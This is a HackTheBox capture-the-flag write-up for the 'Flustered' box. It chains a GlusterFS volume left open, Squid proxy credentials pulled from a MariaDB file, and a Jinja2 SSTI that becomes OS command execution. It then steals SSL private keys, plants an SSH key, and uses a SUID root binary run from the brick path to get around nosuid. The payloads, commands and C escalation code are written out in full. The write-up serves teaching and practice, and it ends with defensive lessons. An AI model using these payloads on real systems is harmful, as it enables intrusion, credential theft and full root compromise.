kavklaw@llm $ cat writeup.md
GlusterFS to Azure Root — Squid Proxy Creds, Jinja2 SSTI, SSL Cert Theft, SUID Brick Bypass
Flustered is a Medium-rated Linux box on HackTheBox running Debian 10 (Buster). It features a creative attack chain that pivots through a distributed filesystem, a web proxy, and a server-side template injection to reach full root compromise. If you're new to security, every concept is explained as we go.
Here's the high-level kill chain (each phase builds on the last):
www-datanosuid, the underlying brick directory on disk doesn't — allowing SUID binary execution as rootKey Technologies: GlusterFS 7.2, Squid 4.6, nginx 1.14.2, Flask/Jinja2, MariaDB, Docker/Azurite
Every penetration test starts with figuring out what's running on the target. We begin with an nmap scan to knock on every port and catalog the services behind them.
$ nmap -sC -sV -p- flustered.htb
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
80/tcp open http nginx 1.14.2
111/tcp open rpcbind 2-4 (RPC #100000)
3128/tcp open http-proxy Squid http proxy 4.6
24007/tcp open glusterd GlusterFS daemon
49152/tcp open ssl/unknown
| ssl-cert: Subject: CN=flustered.htb
49153/tcp open unknown
This is an unusually rich attack surface for a Medium box. Let's break down what we're seeing:
gluster CLI to talk to it remotely.flustered.htb.Visiting port 80 in a browser reveals a minimal page:
$ curl -s http://flustered.htb/
<title>steampunk-era.htb - Coming Soon</title>
...
A "Coming Soon" page for steampunk-era.htb. The page itself isn't interesting, but the hostname matters — we'll add both flustered.htb and steampunk-era.htb to our /etc/hosts file. The backend is Flask (revealed by response headers), which means Python templates — a detail that becomes critical later.
GlusterFS's management daemon on port 24007 often allows unauthenticated remote queries. Let's see what volumes exist:
$ gluster --remote-host=flustered.htb volume list
vol1
vol2
Two volumes! Let's examine their configuration to understand the access controls:
$ gluster --remote-host=flustered.htb volume info vol2
Volume Name: vol2
Type: Distribute
Status: Started
Transport-type: tcp
Options:
auth.allow: *
client.ssl: off
features.read-only: enable
Volume vol2 is wide open: auth.allow: * means anyone can connect, client.ssl: off means no encryption required, and it's read-only. Volume vol1, by contrast, requires SSL client certificates — we can't access it yet.
Since vol2 has no access restrictions, we can mount it directly:
$ mkdir /mnt/vol2
$ mount -t glusterfs flustered.htb:/vol2 /mnt/vol2
$ ls /mnt/vol2/
aria_log.00000001 ibdata1 ib_logfile0 mysql/ performance_schema/ squid/
This is a MariaDB data directory (/var/lib/mysql). The presence of aria_log, ibdata1, and ib_logfile0 are telltale signs. And there's a database called squid — likely containing the Squid proxy's authentication data!
MariaDB stores InnoDB table data in .ibd files. We can use strings to extract readable text from the binary file:
$ strings /mnt/vol2/squid/passwd.ibd
lance.friedman
o>WJ5-jD<5^m3
Credentials! Username lance.friedman and password o>WJ5-jD<5^m3. These are almost certainly the Squid proxy's Basic Auth credentials that we need for port 3128.
With the extracted credentials, we can now use the Squid proxy to make requests on behalf of the server:
$ curl -x 'http://lance.friedman:o>WJ5-jD<5^[email protected]:3128' \
http://127.0.0.1/
<!DOCTYPE html>
<title>Welcome to nginx!</title>
...
Interesting! Through the proxy, 127.0.0.1 returns the nginx default page — a different virtual host than what we see externally. This means the proxy lets us access internal services that aren't exposed to the outside.
Through the proxy, we can brute-force directories on the internal web server. This reveals the Flask application's source code at /app/:
$ curl -x 'http://lance.friedman:o>WJ5-jD<5^[email protected]:3128' \
http://127.0.0.1/app/app.py
from flask import Flask, render_template_string, request, json
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
config = {"siteurl": "steampunk-era.htb"}
if request.method == "POST":
data = json.loads(request.data)
config.update(data)
template = '<title>' + config["siteurl"] + '</title> ...'
return render_template_string(template)
This is a textbook SSTI vulnerability. Let's break down why:
config dictionary using config.update(data)config["siteurl"] value is concatenated directly into a template stringrender_template_string()If we POST {"siteurl":"{{7*7}}"}, Jinja2 will evaluate 7*7 and render 49 in the page title. If that works, we can escalate to full code execution.
We don't even need the Squid proxy for this — the vulnerable endpoint is the external-facing Flask app at steampunk-era.htb:
$ curl -s http://steampunk-era.htb/ \
-H "Content-Type: application/json" \
-d '{"siteurl":"{{7*7}}"}'
<title>49</title>
The title shows 49 instead of {{7*7}} — confirmed Jinja2 SSTI! The template engine evaluated our expression. Now let's escalate from math to operating system commands.
Jinja2 runs inside Python, so we can traverse Python's object hierarchy to reach the os module and execute shell commands:
$ curl -s http://steampunk-era.htb/ \
-H "Content-Type: application/json" \
-d '{"siteurl":"{{ self.__init__.__globals__.__builtins__.__import__(\"os\").popen(\"id\").read() }}"}'
<title>uid=33(www-data) gid=33(www-data) groups=33(www-data)</title>
We have remote code execution as www-data! The payload works by:
self.__init__.__globals__ — Access the global namespace of the template's module__builtins__.__import__("os") — Import Python's os module.popen("id").read() — Execute the id command and read its outputWe're running commands as www-data — the web server user. This is a limited account, but it's enough to read files on the system and pivot to the next phase.
Remember vol1? It requires SSL client certificates. As www-data, let's see if we can read the GlusterFS SSL material:
$ curl -s http://steampunk-era.htb/ \
-H "Content-Type: application/json" \
-d '{"siteurl":"{{ self.__init__.__globals__.__builtins__.__import__(\"os\").popen(\"ls -la /etc/ssl/glusterfs.*\").read() }}"}'
<title>-rw-r--r-- 1 root root 1822 Oct 22 2021 /etc/ssl/glusterfs.ca
-rw-r--r-- 1 root root 1826 Oct 22 2021 /etc/ssl/glusterfs.pem
-rw-r----- 1 root ssl-cert 3243 Oct 22 2021 /etc/ssl/glusterfs.key</title>
The SSL certificates are readable! The .pem (public cert) and .ca (CA cert) are world-readable. The .key (private key) is readable by the ssl-cert group — and www-data happens to be in that group on this system.
We extract the certificates through SSTI by base64-encoding them (to avoid special characters breaking the template):
$ curl -s http://steampunk-era.htb/ \
-H "Content-Type: application/json" \
-d '{"siteurl":"{{ self.__init__.__globals__.__builtins__.__import__(\"os\").popen(\"cat /etc/ssl/glusterfs.pem | base64\").read() }}"}' \
| grep -oP '(?<=<title>).*(?=</title>)' | base64 -d > glusterfs.pem
$ # Repeat for glusterfs.key and glusterfs.ca
Now let's check vol1's configuration to understand why these certs grant access:
$ gluster --remote-host=flustered.htb volume info vol1
Volume Name: vol1
Options:
server.ssl: on
auth.ssl-allow: flustered.htb,web01.htb
client.ssl: on
The auth.ssl-allow list accepts clients with certificates for flustered.htb — and our stolen cert has exactly that CN! The GlusterFS SSL auth is based on the certificate's Common Name matching an entry in the allow list.
We place the stolen certificates where the GlusterFS client expects them and mount vol1:
$ cp glusterfs.pem /etc/ssl/glusterfs.pem
$ cp glusterfs.key /etc/ssl/glusterfs.key
$ cp glusterfs.ca /etc/ssl/glusterfs.ca
$ mkdir /mnt/vol1
$ mount -t glusterfs flustered.htb:/vol1 /mnt/vol1
$ ls -la /mnt/vol1/
drwxr-xr-x jennifer jennifer .
-rw-r--r-- jennifer jennifer user.txt
drwx------ jennifer jennifer .ssh
vol1 contains jennifer's home directory! We can read the user flag and write our SSH key for persistent access:
$ cat /mnt/vol1/user.txt
$ # Write SSH key for persistent access
$ mkdir -p /mnt/vol1/.ssh
$ echo "ssh-rsa AAAA...our_pubkey..." > /mnt/vol1/.ssh/authorized_keys
$ chmod 700 /mnt/vol1/.ssh
$ chmod 600 /mnt/vol1/.ssh/authorized_keys
$ ssh [email protected]
jennifer@flustered:~$
We now have a stable SSH shell as jennifer. Time to escalate to root.
GlusterFS has an interesting property: its FUSE client runs as root, which means any file written through a GlusterFS mount is owned by root (UID 0). This is by design — GlusterFS trusts its clients.
The sysadmin was aware of this risk and configured the local mount with the nosuid option:
jennifer@flustered:~$ grep vol1 /etc/fstab
localhost:/vol1 /home/jennifer glusterfs defaults,_netdev,noauto,nosuid,x-systemd.automount 0 0
The nosuid flag means even if a file has the SUID bit set, the OS won't honor it when executed from /home/jennifer. Smart — but there's a critical oversight.
GlusterFS stores the actual data for each volume in a brick directory on the underlying filesystem. While the FUSE mount at /home/jennifer has nosuid, the raw brick path is just a regular directory on the ext4 root filesystem — with no nosuid restriction:
jennifer@flustered:~$ mount | grep vol1
flustered.htb:/vol1 on /home/jennifer type fuse.glusterfs (...,nosuid,...)
jennifer@flustered:~$ ls /gluster/bricks/brick1/vol1/
user.txt .ssh/
The same files exist in both locations — the FUSE mount (/home/jennifer) and the brick path (/gluster/bricks/brick1/vol1/). But only the FUSE mount has nosuid. The brick path is on the root filesystem where SUID is honored.
We compile a minimal C program that sets its UID/GID to root and executes a command. Since the target is Debian 10 and might not have the exact same libraries, we compile it statically:
$ cat rootcmd.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
setuid(0);
setgid(0);
system(argv[1]);
return 0;
}
$ gcc -static -o rootcmd rootcmd.c
When we copy the binary onto the GlusterFS volume from our attacking machine (which has the volume mounted), the FUSE client writes it as root-owned. We also set the SUID bit:
$ # On our Kali box with vol1 mounted:
$ cp rootcmd /mnt/vol1/.rootcmd
$ chmod 4755 /mnt/vol1/.rootcmd
$ # Verify on the target — the file appears root-owned:
jennifer@flustered:~$ ls -la /gluster/bricks/brick1/vol1/.rootcmd
-rwsr-xr-x 1 root root 871448 Feb 7 01:15 /gluster/bricks/brick1/vol1/.rootcmd
The file is root-owned with SUID set (the s in -rwsr-xr-x). On the FUSE mount at /home/jennifer/.rootcmd, the SUID bit would be ignored due to nosuid. But from the brick path...
jennifer@flustered:~$ /gluster/bricks/brick1/vol1/.rootcmd 'id'
uid=0(root) gid=0(root) groups=0(root)
jennifer@flustered:~$ /gluster/bricks/brick1/vol1/.rootcmd 'cat /root/root.txt'
Full compromise. The nosuid mount option was bypassed entirely by executing from the raw brick directory instead of the FUSE mount.
During enumeration as jennifer, we discovered a Docker container running on the box:
jennifer@flustered:~$ curl -s http://172.17.0.2:10000/
<?xml version="1.0" encoding="UTF-8"?>
... Azure Blob Storage ...
AccountName: jennifer
This is Azurite (Azure Blob Storage emulator v3.14.3) with an account named "jennifer." The intended root path likely involves finding the Azurite storage account key, connecting to the blob storage, and downloading root's SSH private key. We bypassed this entirely with the GlusterFS SUID brick trick — a more creative (and arguably more interesting) approach.
auth.allow: * are essentially open file shares. Always check what data is stored — in this case, an entire MariaDB data directory was exposed, including authentication tables with plaintext credentials.render_template_string() with user input. This is the number one cause of SSTI vulnerabilities in Flask applications. Use render_template() with separate template files instead, and never concatenate user input into template strings.nosuid isn't enough for GlusterFS. The FUSE mount had nosuid, but the underlying brick directory on the host filesystem didn't. Any mitigation must account for ALL paths to the same data — not just the obvious one.nosuid as well.nmap — Port scanning & service detectiongluster — GlusterFS CLI for remote volume enumeration and mountingstrings — Extract readable text from binary files (MariaDB .ibd)curl — HTTP requests (direct and through Squid proxy)gobuster — Directory brute-forcing through the proxygcc — Compile the SUID privilege escalation binaryssh — Remote access with injected authorized_keysstrings on .ibd files, no MySQL server needed